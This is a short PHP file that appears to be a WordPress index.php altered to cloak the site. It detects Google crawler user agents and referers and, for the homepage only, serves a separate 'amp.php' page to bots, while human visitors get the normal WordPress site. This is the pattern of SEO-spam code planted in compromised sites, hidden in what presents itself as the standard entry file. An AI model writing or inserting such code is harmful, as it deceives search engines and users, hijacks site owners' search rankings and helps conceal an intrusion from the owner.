$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $referer = $_SERVER['HTTP_REFERER'] ?? ''; $googleBots = [ 'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google', 'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News', 'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android', 'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery', 'Google-', ]; if ( preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || (strpos($referer, 'google.') !== false && stripos($userAgent, 'bot') !== false) ) { if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') { include 'amp.php'; exit; } } define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php';